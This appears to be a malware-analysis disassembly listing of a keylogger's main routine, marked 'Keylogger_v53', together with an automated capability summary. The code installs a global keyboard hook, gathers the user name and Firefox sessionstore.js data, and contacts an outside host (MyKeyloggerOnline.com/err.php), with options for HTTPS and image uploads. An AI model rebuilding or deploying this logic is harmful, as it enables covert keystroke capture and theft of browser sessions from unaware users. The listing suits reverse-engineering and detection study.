Function at 0x401000
Capabilities:
Check if file exists
Check mutex on windows
Create process on windows
Create thread
Get session user name
Log keystrokes via application hook
Query environment variable
Set global application hook

Disassembly:
push 0x3e8
call sub.kernel32.dll_Sleep
push 0x404720
call sub.kernel32.dll_InitializeCriticalSection
call 0x40132e
push 0x200
push dword [0x4046d4]
call sub.kernel32.dll_RtlZeroMemory
push str.8d51997b3d28e50840279691f5cdf72b
push str._kill_
push dword [0x4046d4]
push 2
call fcn.00402950
add esp, 0x10
push dword [0x4046d4]
call fcn.004015b0
mov eax, dword [0x4046d8]
cmp byte [eax], 0x31
jne 0x4010ba
push 0x7d000
push dword [0x4046e4]
call sub.kernel32.dll_RtlZeroMemory
push str.48c82ba173dbbe38407765b80adf4871
push 0x4042d8
push str.8d51997b3d28e50840279691f5cdf72b
push 0x4042e0
push 0x40401d
push str._err.php
push str.www.MyKeyloggerOnline.com
push str.http:__
push dword [0x4046e4]
push 8
call fcn.00402950
add esp, 0x28
push 1
push 0
push 0
push dword [0x4046e4]
push 0
push 0
call sub.shell32.dll_ShellExecuteA
jmp 0x401318
push str._sleep
call fcn.004015b0
mov dword [0x40403b], 0x493e0
mov eax, dword [0x4046d8]
cmp byte [eax], 0
je 0x4010f1
push dword [0x4046d8]
call fcn.00402670
mov ecx, 0xea60
xor edx, edx
mul ecx
mov dword [0x40403b], eax
push str._https
call fcn.004015b0
mov eax, dword [0x4046d8]
cmp byte [eax], 0x31
jne 0x401119
mov dword [0x404047], 0x1bb
mov dword [0x40404b], 0x800000
push str._uploadimages
call fcn.004015b0
mov eax, dword [0x4046d8]
cmp byte [eax], 0x31
jne 0x401137
mov dword [0x404037], 1
push 0x1400
push dword [0x4046ec]
call sub.kernel32.dll_RtlZeroMemory
push 0x1400
push dword [0x4046ec]
push str._APPDATA_MozillaFirefoxProfiles_
call sub.kernel32.dll_ExpandEnvironmentStringsA
push dword [0x4046ec]
call sub.kernel32.dll_lstrlenA
push eax
push str..default
push dword [0x4046ec]
call fcn.00402890
push 0x40434d
push dword [0x4046ec]
call sub.kernel32.dll_FindFirstFileA
mov esi, dword [0x4046ec]
pop eax
lea esi, [eax + esi]
mov byte [esi], 0
push str._sessionstore.js
push 0x404379
push dword [0x4046ec]
push 2
call fcn.00402950
add esp, 0x10
push 0x101
push 0x40419a
call sub.kernel32.dll_RtlZeroMemory
mov dword [0x4046fc], 0x100
push 0x4046fc
push 0x40419a
call sub.advapi32.dll_GetUserNameA
push 0x400
push dword [0x4046e8]
call sub.kernel32.dll_RtlZeroMemory
push 0x40419a
call sub.kernel32.dll_lstrlenA
push dword [0x4046e8]
push eax
push 0x40419a
call fcn.00401f71
push str.Global_tm_
push 0
push 0
call sub.kernel32.dll_OpenMutexA
call sub.kernel32.dll_GetLastError
cmp eax, 2
jne 0x401318
push str.Global_tm_
push 0
push 0
call sub.kernel32.dll_CreateMutexA
mov dword [0x40470c], eax
push 0x101808
push dword [0x4046c0]
call sub.kernel32.dll_RtlZeroMemory
mov eax, 0x4016bd
push 0x404700
push 0
push 0
push eax
push 0
push 0
call sub.kernel32.dll_CreateThread
push eax
call sub.kernel32.dll_CloseHandle
push 0x101808
push dword [0x4046c0]
call sub.kernel32.dll_RtlZeroMemory
mov eax, 0x401929
push 0x404704
push 0
push 0
push eax
push 0
push 0
call sub.kernel32.dll_CreateThread
push eax
call sub.kernel32.dll_CloseHandle
push 0x200
push dword [0x4046d0]
call sub.kernel32.dll_RtlZeroMemory
push 0
call sub.kernel32.dll_GetModuleHandleA
push 0
push eax
push 0x401cc8
push 0xd
call sub.user32.dll_SetWindowsHookExA
mov dword [0x404011], eax
push 0x78
push 3
push 0xaaabbbb
push 0
call sub.user32.dll_RegisterHotKey
push 0
push 0
push 0
push 0x40404f
call sub.user32.dll_GetMessageA
or eax, eax
je 0x401302
cmp dword [0x404053], 0x312
jne 0x401300
push 0x1000
push str.Keylogger_v53
push str.Disabled_Keylogger_
push 0
call sub.user32.dll_MessageBoxA
jmp 0x401302
jmp 0x4012c8
push dword [0x404011]
call sub.user32.dll_UnhookWindowsHookEx
push dword [0x40470c]
call sub.kernel32.dll_ReleaseMutex
call fcn.00401492
push 0x404720
call sub.kernel32.dll_DeleteCriticalSection
push 0
call sub.kernel32.dll_ExitProcess
call sub.kernel32.dll_GetProcessHeap
mov dword [section..data], eax
push 0x101808
push 8
push dword [section..data]
call sub.kernel32.dll_HeapAlloc
mov dword [0x4046c0], eax
push 0x64000
push 8
push dword [section..data]
call sub.kernel32.dll_HeapAlloc
mov dword [0x4046c4], eax
push 0x19000
push 8
push dword [section..data]
call sub.kernel32.dll_HeapAlloc
mov dword [0x4046c8], eax
push 0x200
push 8
push dword [section..data]
call sub.kernel32.dll_HeapAlloc
mov dword [0x4046cc], eax
push 0x200
push 8
push dword [section..data]
call sub.kernel32.dll_HeapAlloc
mov dword [0x4046d0], eax
push 0x200
push 8
push dword [section..data]
call sub.kernel32.dll_HeapAlloc
mov dword [0x4046d4], eax
push 0x200
push 8
push dword [section..data]
call sub.kernel32.dll_HeapAlloc
mov dword [0x4046d8], eax
push 0x200
push 8
push dword [section..data]
call sub.kernel32.dll_HeapAlloc
mov dword [0x4046dc], eax
push 0x1400
push 8
push dword [section..data]
call sub.kernel32.dll_HeapAlloc
mov dword [0x4046e0], eax
push 0x7d000
push 8
push dword [section..data]
call sub.kernel32.dll_HeapAlloc
mov dword [0x4046e4], eax
push 0x400
push 8
push dword [section..data]
call sub.kernel32.dll_HeapAlloc
mov dword [0x4046e8], eax
push 0x1400
push 8
push dword [section..data]
call sub.kernel32.dll_HeapAlloc
mov dword [0x4046ec], eax
push 0x1400
push 8
push dword [section..data]
call sub.kernel32.dll_HeapAlloc
mov dword [0x4046f0], eax
push 0x200
push 8
push dword [section..data]
call sub.kernel32.dll_HeapAlloc
mov dword [0x4046f4], eax
push 0xfbfef
push 8
push dword [section..data]
call sub.kernel32.dll_HeapAlloc
mov dword [0x4046f8], eax
ret